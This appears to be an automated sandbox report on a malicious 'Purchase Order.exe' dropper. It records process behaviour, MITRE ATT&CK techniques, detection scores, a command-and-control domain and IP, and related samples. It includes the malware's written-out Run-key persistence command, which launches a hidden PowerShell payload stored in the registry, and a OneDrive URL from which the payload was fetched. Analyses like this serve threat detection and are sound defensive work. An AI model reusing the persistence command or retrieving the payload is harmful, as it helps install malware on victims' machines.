Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "announces" /t reg_expand_sz /d "%compressible% -windowstyle minimized $harmlses=(get-itemproperty -path 'hkcu:\xylograferede94\').karatenes;%compressible% ($harmlses)"
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "announces" /t reg_expand_sz /d "%compressible% -windowstyle minimized $harmlses=(get-itemproperty -path 'hkcu:\xylograferede94\').karatenes;%compressible% ($harmlses)"			Jump to behavior

Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managero
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managert
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078B9000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_00405D51 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D51

Stealing of Sensitive Information

Source: Yara match	File source: 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3203656499.000000000788F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ultradolichocephaly.exe PID: 6008, type: MEMORYSTR

Remote Access Functionality

Source: Yara match	File source: 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3203656499.000000000788F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ultradolichocephaly.exe PID: 6008, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Software Packing	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Clipboard Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	112 Process Injection	1 DLL Side-Loading	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	11 Masquerading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Modify Registry	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	213 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Purchase Order.exe	8%	ReversingLabs
Purchase Order.exe	21%	Virustotal		Browse
Purchase Order.exe	100%	Avira	HEUR/AGEN.1331786

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	100%	Avira	HEUR/AGEN.1331786
C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	21%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
dual-spov-0006.spov-msedge.net	0%	Virustotal	Browse
tochisglobal.ddns.net	10%	Virustotal	Browse
geoplugin.net	3%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://geoplugin.net/json.gp	100%	URL Reputation	phishing
http://geoplugin.net/json.gp	100%	URL Reputation	phishing
http://crl.micro	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://geoplugin.net/json.gpo	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpl	0%	Avira URL Cloud	safe
http://geoplugin.net/	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpN	0%	Avira URL Cloud	safe
tochisglobal.ddns.net	100%	Avira URL Cloud	malware
http://geoplugin.net/t:	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpW	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpl	0%	Virustotal		Browse
http://geoplugin.net/w	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpN	0%	Virustotal		Browse
http://geoplugin.net/json.gpo	0%	Virustotal		Browse
http://geoplugin.net/	3%	Virustotal		Browse
tochisglobal.ddns.net	10%	Virustotal		Browse
http://geoplugin.net/json.gpW	0%	Virustotal		Browse
http://geoplugin.net/w	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dual-spov-0006.spov-msedge.net	13.107.137.11	true	false	0%, Virustotal, Browse	unknown
tochisglobal.ddns.net	103.253.17.222	true	true	10%, Virustotal, Browse	unknown
geoplugin.net	178.237.33.50	true	false	3%, Virustotal, Browse	unknown
onedrive.live.com	unknown	unknown	false		high
kxwbha.am.files.1drv.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://onedrive.live.com/download?resid=7EB674A88CCF381D%21539&authkey=!AJYql7taWUIXlaI	false		high
http://geoplugin.net/json.gp	true	URL Reputation: phishing URL Reputation: phishing	unknown
tochisglobal.ddns.net	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://onedrive.live.com/download?resid=7EB674A88CCF381D%21539&authkey=	Ultradolichocephaly.exe, 00000007.00000002.3203656499.000000000784A000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078B9000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3214197333.00000000234E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2746622815.0000000004A57000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://geoplugin.net/json.gpl	Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2746622815.0000000004A57000.00000004.00000800.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpo	Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://kxwbha.am.files.1drv.com/	Ultradolichocephaly.exe, 00000007.00000002.3203656499.000000000784A000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Purchase Order.exe, 00000000.00000000.1953867569.0000000000409000.00000008.00000001.01000000.00000003.sdmp, Purchase Order.exe, 00000000.00000002.1987821227.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3198146602.0000000000409000.00000008.00000001.01000000.00000009.sdmp	false		high
https://kxwbha.am.files.1drv.com/y4mpeceYAMLWx5PShbJGMk6tKW6mQBechZgu3aTbJoU6yxz1XJ53X1sSgh53U1m7pv4	Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBsq	powershell.exe, 00000002.00000002.2746622815.0000000004901000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2746622815.0000000004A57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/	Ultradolichocephaly.exe, 00000007.00000002.3203656499.0000000007828000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/4w7	Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kxwbha.am.files.1drv.com/4	Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	Ultradolichocephaly.exe, Ultradolichocephaly.exe, 00000007.00000002.3198146602.0000000000409000.00000008.00000001.01000000.00000009.sdmp	false		high
http://crl.micro	powershell.exe, 00000002.00000002.2749734497.00000000071DB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://geoplugin.net/	Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpN	Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://kxwbha.am.files.1drv.com/D	Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/t:	Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gpW	Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2746622815.0000000004901000.00000004.00000800.00020000.00000000.sdmp	false		high
http://geoplugin.net/w	Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://kxwbha.am.files.1drv.com/pF	Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078B9000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2738950429.00000000078B2000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.137.11	dual-spov-0006.spov-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
103.253.17.222	tochisglobal.ddns.net	unknown	59139	WIFIKU-AS-IDPTWifikuIndonesiaID	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1440304
Start date and time:	2024-05-13 06:02:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Purchase Order.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@13/12@4/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 90% Number of executed functions: 94 Number of non-executed functions: 75
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.42.12
Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, l-0003.l-msedge.net, ocsp.digicert.com, odc-web-geo.onedrive.akadns.net, slscr.update.microsoft.com, odc-am-files-geo.onedrive.akadns.net, ctldl.windowsupdate.com, am-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, odc-am-files-brs.onedrive.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Ultradolichocephaly.exe, PID 6008 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1492 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:02:49	API Interceptor	40x Sleep call for process: powershell.exe modified
06:04:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Announces %Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)
06:04:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Announces %Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)
06:04:41	API Interceptor	4x Sleep call for process: Ultradolichocephaly.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.137.11	Payment Remittance Advice_000000202213.xlsb	Get hash	malicious	Unknown	Browse	onedrive.live.com/download?cid=64F8294A00286885&resid=64F8294A00286885%21770&authkey=ABI3zrc6BsVUKxU
103.253.17.222	JPEG00774533.vbs	Get hash	malicious	Remcos, GuLoader	Browse
	CamScanner0091.vbs	Get hash	malicious	Remcos, GuLoader	Browse
	PI00232.vbs	Get hash	malicious	Remcos, GuLoader	Browse
178.237.33.50	x1TYUNtEO1zz.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	geoplugin.net/json.gp
	xq5lqKlBeIAJ.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	geoplugin.net/json.gp
	1715327885f20f31f2f517c98cb2c7e927c5676435d894ec2de190282251b350f38ab136db927.dat-decoded.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	geoplugin.net/json.gp
	Palmebladstag.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	2024090533201.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	JaXXnpJZ3z.exe	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	geoplugin.net/json.gp
	payment_0045k.xls	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	geoplugin.net/json.gp
	License authorization Custom invoice INFO - Factura Aduana INFO (2).xls	Get hash	malicious	Remcos, PrivateLoader	Browse	geoplugin.net/json.gp
	#U00dcberpr#U00fcfen Sie Ihre_INV-2087_A97OPY7R#4DE688II65-DHL.scr.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	geoplugin.net/json.gp
	IW7w68n6vf.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dual-spov-0006.spov-msedge.net	Purchase Order is approved20240509.cmd	Get hash	malicious	DBatLoader	Browse	13.107.137.11
	JaXXnpJZ3z.exe	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	13.107.137.11
	payment_0045k.xls	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	13.107.137.11
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse	13.107.137.11
	5bsgSbGQhc.rtf	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	13.107.137.11
	thelevel.doc	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	13.107.137.11
	BankSwift.xls	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	13.107.137.11
	htm.exe	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	13.107.139.11
tochisglobal.ddns.net	JPEG00774533.vbs	Get hash	malicious	Remcos, GuLoader	Browse	103.253.17.222
	CamScanner0091.vbs	Get hash	malicious	Remcos, GuLoader	Browse	103.253.17.222
	PI00232.vbs	Get hash	malicious	Remcos, GuLoader	Browse	103.253.17.222
geoplugin.net	x1TYUNtEO1zz.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	xq5lqKlBeIAJ.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	1715327885f20f31f2f517c98cb2c7e927c5676435d894ec2de190282251b350f38ab136db927.dat-decoded.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	Palmebladstag.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	2024090533201.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	JaXXnpJZ3z.exe	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	178.237.33.50
	payment_0045k.xls	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	178.237.33.50
	License authorization Custom invoice INFO - Factura Aduana INFO (2).xls	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	#U00dcberpr#U00fcfen Sie Ihre_INV-2087_A97OPY7R#4DE688II65-DHL.scr.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	IW7w68n6vf.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Soa as at (Apr - 24).exe	Get hash	malicious	Unknown	Browse	13.107.213.69
	Refunded.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	13.107.213.70
	qMh36Rvh4J.elf	Get hash	malicious	Mirai	Browse	21.189.222.8
	h5jtx8DXVf.elf	Get hash	malicious	Unknown	Browse	104.214.47.115
	z5tLjmo4GP.elf	Get hash	malicious	Mirai	Browse	191.237.255.164
	HepvgtsxX7.elf	Get hash	malicious	Mirai	Browse	21.17.99.121
	Gj3ajUucBo.elf	Get hash	malicious	Mirai	Browse	52.245.21.242
	EE9yU8bN9i.elf	Get hash	malicious	Unknown	Browse	20.195.77.115
	X7xw44e4Ob.elf	Get hash	malicious	Mirai	Browse	22.10.43.230
	4DSN0Zi9Og.elf	Get hash	malicious	Unknown	Browse	20.163.151.43
WIFIKU-AS-IDPTWifikuIndonesiaID	JPEG00774533.vbs	Get hash	malicious	Remcos, GuLoader	Browse	103.253.17.222
	CamScanner0091.vbs	Get hash	malicious	Remcos, GuLoader	Browse	103.253.17.222
	PI00232.vbs	Get hash	malicious	Remcos, GuLoader	Browse	103.253.17.222
	Spare_part_list.xls	Get hash	malicious	Lokibot	Browse	103.253.17.249
	57m#U00b3_LPG_SEMI_TRAILER_7_NOS.pdf.xls	Get hash	malicious	AgentTesla	Browse	103.253.17.249
	EUCjx7V4L9.elf	Get hash	malicious	Gafgyt, Mirai	Browse	116.0.5.90
ATOM86-ASATOM86NL	x1TYUNtEO1zz.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	xq5lqKlBeIAJ.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	1715327885f20f31f2f517c98cb2c7e927c5676435d894ec2de190282251b350f38ab136db927.dat-decoded.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	Palmebladstag.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	2024090533201.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	JaXXnpJZ3z.exe	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	178.237.33.50
	payment_0045k.xls	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	178.237.33.50
	License authorization Custom invoice INFO - Factura Aduana INFO (2).xls	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	#U00dcberpr#U00fcfen Sie Ihre_INV-2087_A97OPY7R#4DE688II65-DHL.scr.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50
	IW7w68n6vf.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	178.237.33.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	fx28wfnZ4J.exe	Get hash	malicious	Babuk, Djvu, PrivateLoader, SmokeLoader	Browse	13.107.137.11
	uJ5c4dQ44E.exe	Get hash	malicious	Unknown	Browse	13.107.137.11
	uJ5c4dQ44E.exe	Get hash	malicious	Unknown	Browse	13.107.137.11
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	13.107.137.11
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	13.107.137.11
	YN9hIXWLJ3.exe	Get hash	malicious	Unknown	Browse	13.107.137.11
	SecuriteInfo.com.FileRepMalware.16991.21545.exe	Get hash	malicious	Unknown	Browse	13.107.137.11
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	13.107.137.11
